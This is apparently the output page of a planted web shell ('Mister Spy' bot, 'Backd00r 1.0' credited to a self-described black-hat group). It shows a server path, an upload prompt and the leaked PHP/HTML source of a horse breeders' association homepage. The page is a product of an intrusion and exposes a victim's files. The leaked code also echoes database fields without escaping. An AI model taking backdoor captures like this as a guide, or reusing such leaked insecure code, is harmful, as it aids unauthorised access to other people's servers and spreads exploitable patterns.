Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/.trash/
Upload File :
Current File : /home/caballoscriollos/.trash/home-viejo.php

<?php
require_once('../Connections/cnx.php'); 
require_once('../funcs.php'); 
require_once('_admin_/imagenes_conf.php'); 
require_once('_admin_/imagenes_funcs.php');
 
mysql_select_db($database_cnx, $cnx);
$query_rsNoticias = "SELECT * FROM noticias WHERE habilitado='1' AND  rubroID = 1 ORDER BY fecha_1 DESC limit 2";
$rsNoticias = mysql_query($query_rsNoticias, $cnx) or die(mysql_error());
$row_rsNoticias = mysql_fetch_assoc($rsNoticias);
$totalRows_rsNoticias = mysql_num_rows($rsNoticias);

mysql_select_db($database_cnx, $cnx);
$query_rsAgenda = sprintf("SELECT * FROM noticias WHERE habilitado='1' AND rubroID = 2 AND fecha_1 >='%s' ORDER BY fecha_1 ASC limit 6", date('Y-m-d'));
$rsAgenda = mysql_query($query_rsAgenda, $cnx) or die(mysql_error());
$row_rsAgenda = mysql_fetch_assoc($rsAgenda);
$totalRows_rsAgenda = mysql_num_rows($rsAgenda);

mysql_select_db($database_cnx, $cnx);
$query_rsGaleria = "SELECT * FROM galeria ORDER BY RAND() LIMIT 3";
$rsGaleria = mysql_query($query_rsGaleria, $cnx) or die(mysql_error());
$row_rsGaleria = mysql_fetch_assoc($rsGaleria);
$totalRows_rsGaleria = mysql_num_rows($rsGaleria);
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/base_espanol.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Asociaci&oacute;n Criadores de Caballos Criollos</title>
<script language="javascript1.2">
function abrirPOP(img, txt)
{
	window.open('galeria_de_imagenes_pop.php?img='+img+'&txt='+txt,'','width=<?=$ANCHO_IMG_GRANDE?>, height=<?=$ALTO_IMG_GRANDE?>, scrollbars=auto');
}
</script>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<link href="../basico_frontend.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
#Institucional {
	position:absolute;
	width:119px;
	height:33;
	z-index:1;
	left: 456px;
	top: 324px;
	visibility: visible;
}
#SubInstitucional {
	position:absolute;
	width:127;
	height:2px;
	z-index:1;
	top: 39px;
	left: -17px;
}
#Formulario {
	position:absolute;
	width:124;
	height:33;
	z-index:2;
	visibility: visible;
}
#SubFormulario {
	position:absolute;
	width:129;
	height:11px;
	z-index:1;
	top: 22px;
	left: 31px;
	visibility: hidden;
}
#Ranking {
	position:absolute;
	width:168px;
	height:34px;
	z-index:2;
	visibility: visible;
}
#Subranking {
	position:absolute;
	width:129;
	height:115px;
	z-index:1;
	top: 23px;
	left: -6px;
	visibility: hidden;
}
#Clasificatoria {
	position:absolute;
	width:114px;
	height:34px;
	z-index:3;
	visibility: visible;
}
#SubClasificatoria {
	position:absolute;
	width:118px;
	height:115px;
	z-index:4;
	left: 16px;
	top: 23px;
	visibility: hidden;
}
#Premios {
	position:absolute;
	width:79px;
	height:32px;
	z-index:4;
	visibility: visible;
}
#SubPremios {
	position:absolute;
	width:80px;
	height:22px;
	z-index:5;
	top: 23px;
	visibility: hidden;
	left: 13px;
}
#Institucional {
	position:absolute;
	width:236px;
	height:24px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#institucional {
	position:absolute;
	width:178;
	height:19;
	z-index:9;
	visibility: visible;
}
#subinstitucional {
	position:absolute;
	width:130px;
	height:115px;
	z-index:1;
	visibility: hidden;
	top: 0px;
	left: 150px;
}
#reglamentos {
	position:absolute;
	width:178;
	height:20;
	z-index:6;
	visibility: visible;
}
#subregalmentos {
	position:absolute;
	width:129px;
	height:115px;
	z-index:7;
	left: 150px;
	top: 0;
	visibility: hidden;
}
#Galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subGaleria {
	position:absolute;
	width:129;
	height:51px;
	z-index:1;
	left: 170;
	visibility: visible;
	top: 0;
}
#galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subgaleria {
	position:absolute;
	width:129;
	height:69;
	z-index:1;
}
#Layer1 {
	position:absolute;
	width:200px;
	height:115px;
	z-index:7;
}
#galeria {
	position:absolute;
	width:178;
	height:19;
	z-index:8;
}
#subgaleria {
	position:absolute;
	width:131px;
	height:60;
	z-index:1;
	visibility: hidden;
	left: 150px;
	top: 0px;
}

-->
</style>
<script type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-->
</script>
</head>

<body>
<div align="center"><?php include("ssi_cabezal.php"); ?></div>
<?php include("ssi_botonera.php"); ?>
<table width="955" border="0" align="center" cellpadding="0" cellspacing="0" class="FondoContenido">
  <tr>
    <td height="5" valign="top" background="images/path_btn_vertical.jpg"><div align="center"></div></td>
    <td width="599" height="5" valign="top"><div align="center"></div></td>
    <td height="5" valign="top" background="images/fondo_der.jpg"><div align="center"></div></td>
  </tr>
  <tr>
    <td width="178" valign="top" background="images/path_btn_vertical.jpg"><div align="center">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="25">&nbsp;</td>
          <td valign="top"><?php include("ssi_lateralizq.php"); ?></td>
          <td width="18" valign="top">&nbsp;</td>
        </tr>
      </table>
    </div></td>
    <td width="599" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="top"><!-- InstanceBeginEditable name="Contenido" -->
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td valign="top"><table border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td valign="top"><table width="292" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td height="25" background="images/fondo_titulo_home_10.jpg"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td width="20" height="20" valign="middle">&nbsp;</td>
                          <td height="20" valign="top" class="TituloPrincipal">NOTICRIOLLO</td>
                        </tr>
                      </table></td>
                    </tr>
                    <tr>
                      <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">

                        <tr>
                          <td height="5" valign="top"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
                              <?php do { ?>
                              <tr>
                                <td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                    <tr>
                                      <td width="130" valign="top">
                                          <div align="left">
                                            <?php if($row_rsNoticias['foto']!=""){ ?>
                                            <table width="80" border="0" cellpadding="0" cellspacing="3" class="bordeGris">
                                                <tr>
                                                  <td valign="middle"><div align="center"><a href="noticias_detalle.php?noticiasID=<?php echo $row_rsNoticias['noticiasID']; ?>" class="linkBasico"><img src="../_recursos/noticias/thumb/<?php echo $row_rsNoticias['foto']; ?>" border="0" /></a></div></td>
                                                </tr>
                                                    </table>
                                            <? } else {  ?>
                                            <table border="0" cellpadding="0" cellspacing="0" class="bordeGris">
                                                <tr>
                                                  <td valign="middle"><a href="noticias_detalle.php?noticiasID=<?php echo $row_rsNoticias['noticiasID']; ?>" class="linkBasico"><img src="../_recursos/noticias/thumb/default.jpg" width="100" height="100" hspace="1" vspace="1" border="0"/></a></td>
                                                </tr>
                                                    </table>
                                            <? } ?>
                                            &nbsp;</div></td>
                                      <td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                          <tr>
                                            <td height="18" valign="top" class="fecha"><?php echo smrFormateaFecha($row_rsNoticias['fecha_1'],'d-m-y'); ?></td>
                                          </tr>
                                          <tr>
                                            <td><a href="noticias_detalle.php?noticiasID=<?php echo $row_rsNoticias['noticiasID']; ?>" class="linkBasico"><strong class="TituloNoticia"><?php echo $row_rsNoticias['titulo_1']; ?></strong></a></td>
                                          </tr>
                                          <tr>
                                            <td><a href="noticias_detalle.php?noticiasID=<?php echo $row_rsNoticias['noticiasID']; ?>" class="linkBasico"><?php echo substr(strip_tags($row_rsNoticias['contenido_1']),0,80) ." ..."; ?></a></td>
                                          </tr>
                                          <tr>
                                            <td>&nbsp;</td>
                                          </tr>
                                      </table></td>
                                    </tr>
                                </table></td>
                              </tr>
                              <tr>
                                <td height="15" valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                    <tr>
                                      <td background="images/linea_punteada_vertical.gif"><div align="center"></div></td>
                                    </tr>
                                </table></td>
                              </tr>
                              <?php } while ($row_rsNoticias = mysql_fetch_assoc($rsNoticias)); ?>
                          </table></td>
                        </tr>
                        <tr>
                          <td height="20" valign="middle"><div align="right">[<a href="noticias.php?rubroID=1" class="linkBasico"> Ver todas las noticriollas ]</a></div></td>
                        </tr>

                      </table></td>
                    </tr>
                  </table></td>
                  <td width="20" valign="top">&nbsp;</td>
                  <td valign="top"><table width="248" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td height="25" background="images/fondo_titulo_home_10.jpg"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td width="20" height="20" valign="middle">&nbsp;</td>
                          <td height="20" valign="top" class="TituloPrincipal">CALENDARIO CRIOLLO </td>
                        </tr>
                      </table></td>
                    </tr>
                    <tr>
                      <td height="5" valign="top"><div align="center"></div></td>
                    </tr>
                    <tr>
                      <td valign="top"><? if($totalRows_rsAgenda > 0) { ?>
                          <table width="100%" border="0" cellpadding="0" cellspacing="0">
                            <?php do { ?>
                            <tr>
                              <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                  <tr>
                                    <td width="70"><div align="center"><a href="noticias_detalle.php?noticiasID=<?php echo $row_rsAgenda['noticiasID']; ?>" class="linkBasico"><strong><?php echo smrFormateaFecha($row_rsAgenda['fecha_1'],'d-m-y'); ?></strong></a>&nbsp;/</div></td>
                                    <td><a href="noticias_detalle.php?noticiasID=<?php echo $row_rsAgenda['noticiasID']; ?>" class="linkBasico"><?php echo $row_rsAgenda['titulo_1']; ?></a></td>
                                    </tr>
                              </table></td>
                            </tr>
                            <tr>
                              <td height="15"><table width="98%" border="0" cellspacing="0" cellpadding="0">
                                  <tr>
                                    <td background="images/linea_punteada_vertical.gif"><div align="center"></div></td>
                                  </tr>
                              </table></td>
                            </tr>
                            <?php } while ($row_rsAgenda = mysql_fetch_assoc($rsAgenda)); ?>
                          </table>
                        <? } ?>                      </td>
                    </tr>
                    <tr>
                      <td height="20" valign="middle"><div align="right">[<a href="noticias.php?rubroID=2" class="linkBasico"> Ver todo el calendario ]</a></div></td>
                    </tr>

                  </table></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td valign="top">&nbsp;</td>
            </tr>
            <tr>
              <td valign="top"><table border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td valign="top"><table width="292" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td height="25" background="images/fondo_titulo_home_10.jpg"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                            <tr>
                              <td width="20" height="20" valign="middle">&nbsp;</td>
                              <td height="20" valign="top" class="TituloPrincipal">BOLET&Iacute;N ELECTR&Oacute;NICO </td>
                            </tr>
                        </table></td>
                      </tr>
                      <tr>
                        <td>&nbsp;</td>
                      </tr>
                      <tr>
                        <td><table width="235" height="61" border="0" align="center" cellpadding="0" cellspacing="0" background="images/fondo_news_51.jpg">
                          <tr valign="top">
                            <td width="20" height="25">&nbsp;</td>
                            <td height="25">&nbsp;</td>
                          </tr>
                          <tr>
                            <td width="20">&nbsp;</td>
                            <td valign="top"><label></label>
                              <table border="0" cellspacing="0" cellpadding="0">
                                  <form id="form1" name="form1" method="post" onsubmit="javascript:validar(); return document.enviomail" action="email_newsletter_analiza.php">
                                    <tr>
                                      <td><input name="email" type="text" class="camposFormularioNews" id="email" onfocus="this.value='';" onblur="javascript:if(this.value==''){this.value='Ingrese su direcci&oacute;n de email para recibir el newslettet';}" value="Ingrese su email "/></td>
                                      <td>&nbsp;
                                        <input name="Submit" type="submit" class="botonNews" value="-" /></td></tr>
                                  </form>
                                </table></td>
                          </tr>
                        </table></td>
                      </tr>
                  </table></td>
                  <td width="20" valign="top">&nbsp;</td>
                  <td valign="top"><table width="248" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td height="25" background="images/fondo_titulo_home_10.jpg"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                            <tr>
                              <td width="20" height="20" valign="middle">&nbsp;</td>
                              <td height="20" valign="top" class="TituloPrincipal">TABLA DE POSICIONES </td>
                            </tr>
                        </table></td>
                      </tr>
                      <tr>
                        <td height="5"><div align="center"></div></td>
                      </tr>
                      <tr>
                        <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td width="25" height="20"><div align="center"><img src="images/vineta_tabla_45.jpg" width="18" height="14" /></div></td>
                            <td height="20">Clasificatorias de Rodeos</td>
                          </tr>
                          <tr>
                            <td width="25" height="20"><div align="center"><img src="images/vineta_tabla_45.jpg" width="18" height="14" /></div></td>
                            <td height="20">Clasificatoria Dowdall</td>
                          </tr>
                          <tr>
                            <td width="25" height="20"><div align="center"><img src="images/vineta_tabla_45.jpg" width="18" height="14" /></div></td>
                            <td height="20">Clasificatoria Aparte</td>
                          </tr>
                          <tr>
                            <td width="25" height="20"><div align="center"><img src="images/vineta_tabla_45.jpg" width="18" height="14" /></div></td>
                            <td height="20">Clasificatoria FZB</td>
                          </tr>
                          <tr>
                            <td width="25" height="20"><div align="center"><img src="images/vineta_tabla_45.jpg" width="18" height="14" /></div></td>
                            <td height="20">Clasificatoria Aparte Campero</td>
                          </tr>
                          <tr>
                            <td width="25" height="20"><div align="center"><img src="images/vineta_tabla_45.jpg" width="18" height="14" /></div></td>
                            <td height="20">Clasificatoria Freno de Oro</td>
                          </tr>
                        </table></td>
                      </tr>
                  </table></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td valign="top">&nbsp;</td>
            </tr>
            <tr>
              <td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td height="25" background="images/fondo_titulo_home_10.jpg"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td width="20" height="20" valign="middle">&nbsp;</td>
                        <td height="20" valign="top" class="TituloPrincipal">MULTIMEDIA</td>
                      </tr>
                  </table></td>
                </tr>
                <tr>
                  <td>
				   <table border="0" cellpadding="0" cellspacing="0" width="100%">
<?php 
	$tab = "0";
	if ($totalRows_rsGaleria > 0)
	{
    	do{
?>
      	<td width="200" height="170">
	      <p align="center">
<? 

if($row_rsGaleria['galeria'] != "" && file_exists($DIR_GALERIA_IMG_FRONT.$row_rsGaleria["galeria"])) { 
	?>
	        <a href="javascript:void(0);"><img src='<?=$DIR_GALERIA_IMG_FRONT?><? echo $row_rsGaleria["galeria"] ?>' onclick="javascript:abrirPOP('<?=ObtenerNombreImgGrande($row_rsGaleria["galeria"])?>','<?=urlencode($row_rsGaleria['epigrafe']);?>');" border="0"></a>
	        <? }else{ ?>
            <img src='<?=$DIR_GALERIA_IMG_FRONT?>default.jpg'>
	        <? } ?>
            <br>
	        <?php echo $row_rsGaleria['epigrafe'];
			echo "<br>";
			?>
	      </p>
		 </td>
		 <?
		   if ($tab == 2 ){
		   		echo "</tr>";
			   	$tab = "0";
		   }else{
			   	$tab++;
		   }  
	} while ($row_rsGaleria = mysql_fetch_assoc($rsGaleria));  echo "</tr>";
	?>
	</table>
	               <div align="center">[ <a href="galeria_de_imagenes.php" class="linkBasico">Ver todas las imagenes</a> ]<br />
	                 <? } // fin de existencia registro ?>
	                 
	                 </div></td>
                </tr>
              </table></td>
            </tr>
          </table>
        <!-- InstanceEndEditable --></td>
        </tr>
    </table></td>
    <td valign="top" background="images/fondo_der.jpg"><table border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="17" valign="top">&nbsp;</td>
        <td valign="top"><div align="center">
            <?php include("ssi_cabanias.php"); ?>
        </div></td>
      </tr>
    </table></td>
  </tr>
</table>
<?php include("ssi_pie.php"); ?></body>
<!-- InstanceEnd --></html>
<?php
mysql_free_result($rsNoticias);

mysql_free_result($rsAgenda);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat